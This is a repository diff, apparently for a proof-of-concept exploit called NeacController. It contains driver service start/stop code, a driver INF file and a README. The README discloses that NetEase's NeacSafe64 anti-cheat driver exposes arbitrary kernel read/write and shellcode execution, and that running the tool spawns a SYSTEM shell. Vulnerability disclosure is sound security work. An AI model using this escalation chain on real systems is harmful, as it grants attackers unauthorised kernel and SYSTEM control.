DWORD bytesNeeded;
if (!QueryServiceStatusEx(
service,
SC_STATUS_PROCESS_INFO,
(LPBYTE)&status,
sizeof(status),
&bytesNeeded)
) {
printf("[!] QueryServiceStatusEx failed (Error: %d)\n", GetLastError());
CloseServiceHandle(service);
CloseServiceHandle(scm);
return 1;
}
if (status.dwCurrentState != SERVICE_RUNNING) {
printf("[*] starting...\n");
if (!StartService(service, 0, NULL)) {
DWORD err = GetLastError();
if (err == ERROR_SERVICE_ALREADY_RUNNING) {
printf("[+] already started\n");
} else {
printf("[!] StartService failed (Error: %d)\n", err);
CloseServiceHandle(service);
CloseServiceHandle(scm);
return 1;
}
} else {
printf("[+] started.\n");
}
}
CloseServiceHandle(service);
CloseServiceHandle(scm);
return 0;
}
int stop_driver() {
const wchar_t* SERVICE_NAME = L"NeacSafe64";
SC_HANDLE scm = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT | SC_MANAGER_ENUMERATE_SERVICE);
if (!scm) {
printf("[!] OpenSCManager failed (Error: %d)\n", GetLastError());
return 1;
}
SC_HANDLE service = OpenService(
scm,
SERVICE_NAME,
SERVICE_QUERY_STATUS | SERVICE_START | SERVICE_STOP
);
if (!service) {
DWORD err = GetLastError();
if (err == ERROR_SERVICE_DOES_NOT_EXIST) {
printf("[!] service not exist\n");
} else {
printf("[!] OpenService failed (Error: %d)\n", err);
}
CloseServiceHandle(scm);
return 1;
}
SERVICE_STATUS_PROCESS status;
DWORD bytesNeeded;
if (!QueryServiceStatusEx(
service,
SC_STATUS_PROCESS_INFO,
(LPBYTE)&status,
sizeof(status),
&bytesNeeded)
) {
printf("[!] QueryServiceStatusEx failed (Error: %d)\n", GetLastError());
CloseServiceHandle(service);
CloseServiceHandle(scm);
return 1;
}
if (status.dwCurrentState == SERVICE_RUNNING) {
printf("[*] stopping...\n");
SERVICE_STATUS stopStatus;
if (!ControlService(service, SERVICE_CONTROL_STOP, &stopStatus)) {
CloseServiceHandle(service);
CloseServiceHandle(scm);
return 1;
}
DWORD64 startTime = GetTickCount64();
while (status.dwCurrentState != SERVICE_STOPPED) {
Sleep(1000);
if (!QueryServiceStatusEx(
service,
SC_STATUS_PROCESS_INFO,
(LPBYTE)&status,
sizeof(status),
&bytesNeeded)
) {
printf("[!] QueryServiceStatusEx failed (Error: %d)\n", GetLastError());
break;
}
if (GetTickCount64() - startTime > 30000) {
printf("[!] time out\n");
CloseServiceHandle(service);
CloseServiceHandle(scm);
return 1;
}
}
printf("[+] stopped\n");
}
CloseServiceHandle(service);
CloseServiceHandle(scm);
return 0;
}
+5
View File
@@ -0,0 +1,5 @@
#include<windows.h>
int start_driver();
int stop_driver();
@@ -0,0 +1,14 @@
d:\github\neaccontroller\neaccontroller\x64\debug\vc142.pdb
d:\github\neaccontroller\neaccontroller\x64\debug\vc142.idb
d:\github\neaccontroller\neaccontroller\x64\debug\service.obj
d:\github\neaccontroller\neaccontroller\x64\debug\main.obj
d:\github\neaccontroller\neaccontroller\x64\debug\controller.obj
d:\github\neaccontroller\neaccontroller\x64\debug\neaccontroller.ilk
d:\github\neaccontroller\x64\debug\neaccontroller.exe
d:\github\neaccontroller\x64\debug\neaccontroller.pdb
d:\github\neaccontroller\neaccontroller\x64\debug\neaccontroller.tlog\cl.command.1.tlog
d:\github\neaccontroller\neaccontroller\x64\debug\neaccontroller.tlog\cl.read.1.tlog
d:\github\neaccontroller\neaccontroller\x64\debug\neaccontroller.tlog\cl.write.1.tlog
d:\github\neaccontroller\neaccontroller\x64\debug\neaccontroller.tlog\link.command.1.tlog
d:\github\neaccontroller\neaccontroller\x64\debug\neaccontroller.tlog\link.read.1.tlog
d:\github\neaccontroller\neaccontroller\x64\debug\neaccontroller.tlog\link.write.1.tlog
@@ -0,0 +1,11 @@
<?xml version="1.0" encoding="utf-8"?>
<Project>
<ProjectOutputs>
<ProjectOutput>
<FullPath>D:\GitHub\NeacController\x64\Debug\NeacController.exe</FullPath>
</ProjectOutput>
</ProjectOutputs>
<ContentFiles />
<SatelliteDlls />
<NonRecipeFileRefs />
</Project>
@@ -0,0 +1 @@

+86
View File
@@ -0,0 +1,86 @@
[Version]
Signature = "$Windows NT$"
Class = "ActivityMonitor" ;This is determined by the work this filter driver does
ClassGuid = {b86dff51-a31e-4bac-b3cf-e8cfe75c9fc2} ;This value is determined by the Class
Provider = %ProviderString%
DriverVer = 12/17/2021,17.41.6.64
[DestinationDirs]
DefaultDestDir = 12
NeacSafe64.DriverFiles = 12 ;%windir%\system32\drivers
;;
;; Default install sections
;;
[DefaultInstall]
OptionDesc = %ServiceDescription%
CopyFiles = NeacSafe64.DriverFiles
[DefaultInstall.Services]
AddService = %ServiceName%,,NeacSafe64.Service
;;
;; Default uninstall sections
;;
[DefaultUninstall]
DelFiles = NeacSafe64.DriverFiles
[DefaultUninstall.Services]
DelService = %ServiceName%,0x200 ;Ensure service is stopped before deleting
;
; Services Section
;
[NeacSafe64.Service]
DisplayName = %ServiceName%
Description = %ServiceDescription%
ServiceBinary = %12%\%DriverName%.sys ;%windir%\system32\drivers\
Dependencies = "FltMgr"
ServiceType = 2 ;SERVICE_FILE_SYSTEM_DRIVER
StartType = 3 ;SERVICE_DEMAND_START
ErrorControl = 1 ;SERVICE_ERROR_NORMAL
LoadOrderGroup = "FSFilter Activity Monitor"
AddReg = NeacSafe64.AddRegistry
;
; Registry Modifications
;
[NeacSafe64.AddRegistry]
HKR,,"SupportedFeatures",0x00010001,0x3
HKR,"Instances","DefaultInstance",0x00000000,%DefaultInstance%
HKR,"Instances\"%Instance1.Name%,"Altitude",0x00000000,%Instance1.Altitude%
HKR,"Instances\"%Instance1.Name%,"Flags",0x00010001,%Instance1.Flags%
;
; Copy Files
;
[NeacSafe64.DriverFiles]
%DriverName%.sys
[SourceDisksFiles]
NeacSafe64.sys = 1,,
[SourceDisksNames]
1 = %DiskId1%,,,
;;
;; String Section
;;
[Strings]
ProviderString = "TODO-Set-Provider"
ServiceDescription = "NeacSafe64 mini-filter driver"
ServiceName = "NeacSafe64"
DriverName = "NeacSafe64"
DiskId1 = "NeacSafe64 Device Installation Disk"
;Instances specific information.
DefaultInstance = "NeacSafe64 Instance"
Instance1.Name = "NeacSafe64 Instance"
Instance1.Altitude = "370020"
Instance1.Flags = 0x0 ; Suppress automatic attachments
Binary file not shown.
Binary file not shown.
+42
View File
@@ -0,0 +1,42 @@
## NeacController
### 0x0 Background
> **Neac**: NetEases self-developed anti-cheat solution, designed to protect its PC games, including but not limited to Overwatch, Naraka: Bladepoint, and FragPunk.
A vulnerability in NetEase (Hangzhou) Network Co., Ltd NeacSafe64 Driver (versions prior to v1.0.0.8) allows a local attacker to escalate privileges via crafted IOCTL commands to the NeacSafe64.sys component, potentially enabling SYSTEM privilege acquisition and arbitrary shellcode execution in kernel space.
### 0x1 Escalation of Privileges
The NeacSafe64 driver exposes two message handlers (Opcode 14 and 70, **msghandler15**/**msghandler71**) that implement **arbitrary kernel-space read/write** primitives. These operations enable NeacController to perform privileged memory manipulation, ultimately achieving SYSTEM privilege escalation through combined exploitation of these capabilities.
![image-20250402191202338](img/image-20250402191202338.png)
### 0x2 Code Execution
The NeacSafe64 driver allocates **NonPagedPool** memory and stores its pointer in a global variable, subsequently utilizing function pointers to invoke system APIs. This implementation allows attackers to:
- Inject shellcode into the allocated pool memory.![image-20250402191231920](img/image-20250402191231920.png)
- Hijack control flow by overwriting the function pointer.
![image-20250402191347751](img/image-20250402191347751.png)
- Trigger execution through specific Message Handler operations.
![image-20250402191422969](img/image-20250402191422969.png)
ultimately achieving arbitrary kernel-mode code execution (KMCE) via controlled pointer redirection.
### 0x3 Usage
Deploying the NeacSafe64 driver via NeacSafe64.inf and executing NeacController.exe, and it will spawn a privileged cmd process.
The demonstration payload currently uses a single `ret` instruction as shellcode, resulting in no observable system behavior. For effective vulnerability validation:
![image-20250402192523943](img/image-20250402192523943.png)
1. Replace the placeholder shellcode with `0xCC` (INT3 breakpoint opcode)
2. Execution will then trigger either:
- Debugger break-in via `STATUS_BREAKPOINT` exception
- System crash (BSOD) if unhandled in kernel context
Binary file not shown.

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 41 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 7.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 35 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.7 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 37 KiB

+86
View File
@@ -0,0 +1,86 @@
[Version]
Signature = "$Windows NT$"
Class = "ActivityMonitor" ;This is determined by the work this filter driver does
ClassGuid = {b86dff51-a31e-4bac-b3cf-e8cfe75c9fc2} ;This value is determined by the Class
Provider = %ProviderString%
DriverVer = 12/17/2021,17.41.6.64
[DestinationDirs]
DefaultDestDir = 12
NeacSafe64.DriverFiles = 12 ;%windir%\system32\drivers
;;
;; Default install sections
;;
[DefaultInstall]
OptionDesc = %ServiceDescription%
CopyFiles = NeacSafe64.DriverFiles
[DefaultInstall.Services]
AddService = %ServiceName%,,NeacSafe64.Service
;;
;; Default uninstall sections
;;
[DefaultUninstall]
DelFiles = NeacSafe64.DriverFiles
[DefaultUninstall.Services]
DelService = %ServiceName%,0x200 ;Ensure service is stopped before deleting
;
; Services Section
;
[NeacSafe64.Service]
DisplayName = %ServiceName%
Description = %ServiceDescription%
ServiceBinary = %12%\%DriverName%.sys ;%windir%\system32\drivers\
Dependencies = "FltMgr"
ServiceType = 2 ;SERVICE_FILE_SYSTEM_DRIVER
StartType = 3 ;SERVICE_DEMAND_START
ErrorControl = 1 ;SERVICE_ERROR_NORMAL
LoadOrderGroup = "FSFilter Activity Monitor"
AddReg = NeacSafe64.AddRegistry
;
; Registry Modifications
;
[NeacSafe64.AddRegistry]
HKR,,"SupportedFeatures",0x00010001,0x3
HKR,"Instances","DefaultInstance",0x00000000,%DefaultInstance%
HKR,"Instances\"%Instance1.Name%,"Altitude",0x00000000,%Instance1.Altitude%
HKR,"Instances\"%Instance1.Name%,"Flags",0x00010001,%Instance1.Flags%
;
; Copy Files
;
[NeacSafe64.DriverFiles]
%DriverName%.sys
[SourceDisksFiles]
NeacSafe64.sys = 1,,
[SourceDisksNames]
1 = %DiskId1%,,,
;;
;; String Section
;;
[Strings]
ProviderString = "TODO-Set-Provider"
ServiceDescription = "NeacSafe64 mini-filter driver"
ServiceName = "NeacSafe64"
DriverName = "NeacSafe64"
DiskId1 = "NeacSafe64 Device Installation Disk"
;Instances specific information.
DefaultInstance = "NeacSafe64 Instance"
Instance1.Name = "NeacSafe64 Instance"
Instance1.Altitude = "370020"
Instance1.Flags = 0x0 ; Suppress automatic attachments
Binary file not shown.